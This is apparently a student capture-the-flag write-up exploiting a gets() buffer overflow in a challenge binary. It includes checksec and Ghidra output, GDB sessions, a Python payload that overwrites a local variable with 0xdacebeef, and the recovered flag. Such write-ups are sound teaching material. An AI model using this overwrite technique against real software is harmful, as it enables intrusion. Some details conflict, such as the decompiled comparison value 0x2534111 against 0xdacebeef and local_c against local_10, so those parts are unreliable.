

Space Candy Store

Vulnerability:

The vulnerable row in this code is gets(local_48);

The gets() function reads characters from standard input and stores them in the local_48 buffer until a newline character or the end-of-file is reached. However, gets() does not perform any bounds checking, which means that it can write more data to the buffer than it can hold, leading to a buffer overflow vulnerability.

Exploitation:

1. Checksec -> Exe is little endian

```
shxn@shxn-virtual-machine:~/Downloads$ checksec space_candy_store
[*] '/home/shxn/Downloads/space_candy_store'
Arch:      amd64-64-little
RELRO:     Partial RELRO
Stack:     No canary found
NX:        NX enabled
PIE:       No PIE (0x400000)
```

2. After conducting an analysis of the .exe file using Ghidra, it was observed that the flag can be obtained from the main function provided that the value of local_c is equal to 0xdacebeef.

<pre>004011e5 48 8d 3d LEA RDI,[s_Welcome_to_Solaris_Candy_Shop_00402008] = "Welcome to Solaris Candy Shop" 004011ec 1c 0e 00 00 CALL <EXTERNAL>::puts int puts(char * __s) 004011ef ff ff 004011f1 48 8d 45 c0 LEA RAX=>local_48,[RBP + -0x40] 004011f5 48 89 c7 MOV RDI,RAX 004011f8 b8 00 00 MOV EAX,0x0 004011fd e8 9e fe CALL <EXTERNAL>::gets char * gets(char * __s) 00401202 48 8d 3d LEA RDI,[s_Take_a_look_at_our_exclusive_ran_004020... = "Take a look at our exclusive ... 00401209 e8 62 fe CALL <EXTERNAL>::puts int puts(char * __s) 0040120e 81 7d fc CMP dword ptr [RBP + local_c],0xdacebeef 00401215 75 1d JNZ LAB_00401234 00401217 48 8d 3d LEA RDI,[s_Here's_a_Haribo_Goldbears_gummy_b_00402... = "Here's a Haribo Goldbears gum... 0040121e e8 4d fe CALL <EXTERNAL>::puts int puts(char * __s) 00401223 48 8d 3d LEA RDI,[s_/bin/cat_flag.txt_00402086] = "/bin/cat flag.txt" 0040122a b8 00 00 MOV EAX,0x0 0040122f e8 5c fe CALL <EXTERNAL>::system int system(char * __command)</pre>	<pre>1 undefined8 main(void) 2 { 3 char local_48 [60]; 4 int local_c; 5 6 local_c = 0; 7 setbuf(stdout,(char *)0x0); 8 setbuf(stdin,(char *)0x0); 9 setbuf(stderr,(char *)0x0); 10 puts("Welcome to Solaris Candy Shop"); 11 gets(local_48); 12 puts("Take a look at our exclusive range of gummy bears!"); 13 if (local_c == 0x2534111) { 14 puts("Here's a Haribo Goldbears gummy bear!"); 15 system("/bin/cat flag.txt"); 16 } 17 return 0; 18 } 19 20 21</pre>
--	--

3. Use GDB to find the location of 0xdacebeef and number of paddings to add.
- Set breakpoint 1 after initializing local_c=0
 - Set breakpoint 2 after gets(local_48)
 - Fill the buffer with 60 As

```

(gdb) b *0x4011b8
Breakpoint 1 at 0x4011b8
(gdb) b *0x401209
Breakpoint 2 at 0x401209
(gdb) run
Starting program: /home/shxn/Downloads/space_candy_store
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, 0x00000000004011b8 in main ()
(gdb) info frame
Stack level 0, frame at 0x7fffffffdf30:
  rip = 0x4011b8 in main; saved rip = 0x7ffff7c29d90
  Arglist at 0x7fffffffdf20, args:
  Locals at 0x7fffffffdf20, Previous frame's sp is 0x7fffffffdf30
  Saved registers:
    rbp at 0x7fffffffdf20, rip at 0x7fffffffdf28
(gdb) next
Single stepping until exit from function main,
which has no line number information.
Welcome to Solaris Candy Shop
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

```

Reach First breakpoint:

-Check where is the starting address for buffer local_48

-Check where is the saved ebp

-According to the x64 archi, stack grows downward, hence local_10 will be stored in between local_48 buffer and the saved ebp.

```

(gdb) info frame
Stack level 0, frame at 0x7fffffffdf30:
  rip = 0x401209 in main; saved rip = 0x7ffff7c29d90
  Arglist at 0x7fffffffdf20, args:
  Locals at 0x7fffffffdf20, Previous frame's sp is 0x7fffffffdf30
  Saved registers:
    rbp at 0x7fffffffdf20, rip at 0x7fffffffdf28
(gdb) x/20x $sp
0x7fffffffdee0: 0x41414141      0x41414141      0x41414141      0x41414141
0x7fffffffdef0: 0x41414141      0x41414141      0x41414141      0x41414141
0x7fffffffdf00: 0x41414141      0x41414141      0x41414141      0x41414141
0x7fffffffdf10: 0x41414141      0x41414141      0x41414141      0x00000000
0x7fffffffdf20: 0x00000001      0x00000000      0xf7c29d90      0x00007fff
(gdb) █

```

- Info registers, check where they are situated. We know that local_10 comes after the buffer. hence no padding required.

```

Breakpoint 1, 0x0000000000401209 in main ()
(gdb)
(gdb) info registers
rax                0x7fffffffdee0      140737488346848
rbx                0x0                  0
rcx                0x7ffff7e19aa0      140737352145568
rdx                0x1                  1
rsi                0x1                  1
rdi                0x402028             4202536
rbp                0x7fffffffdf20      0x7fffffffdf20
rsp                0x7fffffffdee0      0x7fffffffdee0
r8                 0x0                  0
r9                 0x0                  0
r10                0x7ffff7c09c78      140737349983352
r11                0x246                582
r12                0x7fffffffef038      140737488347192
r13                0x401196             4198806
r14                0x0                  0
r15                0x7ffff7ffd040      140737354125376
rip                0x401209             0x401209 <main+115>
eflags             0x206                [ PF IF ]
cs                 0x33                51
ss                 0x2b                43
ds                 0x0                  0
es                 0x0                  0
fs                 0x0                  0
gs                 0x0                  0

```

4. Craft Payload

```

# Craft payload
buffer = b'A'*60
magic = 0xdacebeef.to_bytes(4,'little')

payload = buffer + magic

```

```

shxn@shxn-virtual-machine:~/Downloads$ python3 x.py
[+] Opening connection to chall.seccomp.xyz on port 6789: Done
Payload is
b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xef\xbe\xce\xda'
[+] Receiving all data: Done (117B)
[*] Closed connection to chall.seccomp.xyz port 6789
Received data:
b"Take a look at our exclusive range of gummy bears!\nHere's a Haribo Goldbears
gummy bear!\nCZ4067{w0W_g0lD-GumMy-B3ar}\n"

```

Flag : CZ4067{w0W_g0lD-GumMy-B3ar}